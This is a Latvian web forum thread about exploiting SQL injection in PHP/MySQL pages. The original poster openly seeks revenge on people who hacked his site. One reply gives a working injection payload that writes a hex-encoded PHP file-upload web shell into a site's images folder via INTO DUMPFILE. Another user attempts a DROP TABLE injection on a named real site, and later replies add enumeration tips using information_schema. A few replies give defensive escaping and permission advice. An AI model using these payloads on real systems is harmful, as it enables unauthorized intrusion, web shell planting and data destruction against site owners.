hack_my_page Posted March 23, 2009 Report Share Posted March 23, 2009 (edited) Esmu saskāries ar vienu problēmu lapā. Atrisinājumu zinu (intval un mysql_real_escape_string), bet tomēr gribu zināt kā viss strādā (intereses pēc un ok, nemelošu - atriebības pret tiem, kas uzhakoja man citu lapu) Tātad ir kverijs $blabla = mysql_query("select * from tabulas_nosaukums where id = $_GET['id']"); // bez or die(mysql_error(); Ja es piemēram nezinu viņu šo jauno tabulas_nosaukums, tad kādā veidā es viņu varu dabūt? ?kaukas=12 == ?kaukas=12' (??) Ja uzrakstu kaut ko tādu tad izmet erroru vnk ' AND 1=(SELECT COUNT(*) FROM tabname) Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in ... on line 140 Edited March 23, 2009 by hack_my_page Quote Link to comment Share on other sites More sharing options...
Kavacky Posted March 23, 2009 Report Share Posted March 23, 2009 $id = (int)$_GET['id]; // ja ID ir skaitlis, vesels, protams $id = mysql_[real_]escape_string($_GET['id']); // ja id ir kaut kāds tekst, ķipa 'lalala' Quote Link to comment Share on other sites More sharing options...
bubu Posted March 23, 2009 Report Share Posted March 23, 2009 Kavacky: autors neprasa kā aizsargāties pret to. Viņš grib tieši otrādi - saprast kā uzhakot lapu dēļ šitādas ne-eskeipošanās. Quote Link to comment Share on other sites More sharing options...
marcis Posted March 24, 2009 Report Share Posted March 24, 2009 Sākumā ?id=1', tad ieraugam kurā failā ir error's. Paskatamies, kur atrodas lietotāju aploudotas bildes un atrodam mapi, kurai ir rakstītšanas tiesības (visbiežāk visi uzmet chmod 0777, nevis, piemēram, 0775 vai vēl mazāk). Un tad jau varam uztaisīt kaut vai php failu, kurš ļaus upload'ot da jebko. ?id=1 UNION SELECT '3c3f696628245f46494c45535b2766696c65275d297b6d6f76655f75706c6f616465645f6669 6c6528245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c222f7661722f7777772 f6c6170612f696d616765732f222e245f46494c45535b2766696c65275d5b276e616d65275d293b7d 3f3e3c666f726d20616374696f6e3d223f22206d6574686f643d22706f73742220656e63747970653 d226d756c7469706172742f666f726d2d64617461223e3c696e70757420747970653d2266696c6522 206e616d653d2266696c65223e3c696e70757420747970653d227375626d6974223e3c2f666f726d3 e' INTO DUMPFILE '/var/www/lapa/images/upload.php' Quote Link to comment Share on other sites More sharing options...
eregi Posted March 28, 2009 Report Share Posted March 28, 2009 marci, nedaudz ne pa injekcijām, bet par to drošību. Cik tad lielas rakstīšanas tiesības ir jāliek, tādiem 'upload' dir'iem? Esmu radis vienmēr likt 0777 Quote Link to comment Share on other sites More sharing options...
fest Posted March 28, 2009 Report Share Posted March 28, 2009 Atkarīgs no tā, kā strādā webserveris. Ja mape, kur atrodas faili nepieder lietotājam, ar kura tiesībām strādā webserveris un abi lietotāji arī neatrodas tajā pašā grupā, tad nekas neatliek, kā likt 777 (vai palūgt servera uzturētājam, lai sataisa tā, ka mape kur atrodas izpildāmie faili pieder webservera lietotājam). Taču, ja tavi faili glabājas mapē, kas "pieder" webserver'a "userim", droši var likt 0755, kas nozīmēs, ka faila owneris var darīt ar failu/mapi visu, un pārēji- tikai lasīt un izpildīt. Lai saprastu, ko nozīmē tie skaitļi 777 un 755 - http://www.onlineconversion.com/html_chmod_calculator.htm Quote Link to comment Share on other sites More sharing options...
anonīms Posted April 13, 2009 Report Share Posted April 13, 2009 (edited) Spridzinu augšā jau papuvušo tematu. Teiksim ir lapa http://cstrike.chill.lv?page=cups&id=36 Pieliekot ' izmer erroru You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 Kādēļ uzrakstot http://cstrike.chill.lv?page=cups&id=36' DROP TABLE gamefarm_cups; Netiek nodropota tabula? Edited April 13, 2009 by anonīms Quote Link to comment Share on other sites More sharing options...
bubu Posted April 13, 2009 Report Share Posted April 13, 2009 Tāpēc, ka kverijs izskatās aptuveni šādi: SELECT * FROM table WHERE id=36\'DROP TABLE gamefarm_cups; Acīmredzama sintaktiska kļūda. Quote Link to comment Share on other sites More sharing options...
marcis Posted April 14, 2009 Report Share Posted April 14, 2009 Plus, kverijus jāatdala ar semikolu (;). Taču php neļaus tev izpildīt 2 kverijus caur vienu mysql_query() funkciju. Vienīgais, ko tu vari izdarīt caur injekcijām php bāzētā lapā, ir: 1) uzstādīt papildus nosacījumu selektā 2) izmantot UNION, kas arī tiek darīts visbiežāk Quote Link to comment Share on other sites More sharing options...
Aleksejs Posted July 22, 2009 Report Share Posted July 22, 2009 Viens no šī gada pwnie awards balvas pretendentiem: Quote Link to comment Share on other sites More sharing options...
endrju Posted July 22, 2009 Report Share Posted July 22, 2009 Un tā arī neviens neatbildēja uz autora uzdoto jautājumu. Lieto information_schema. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.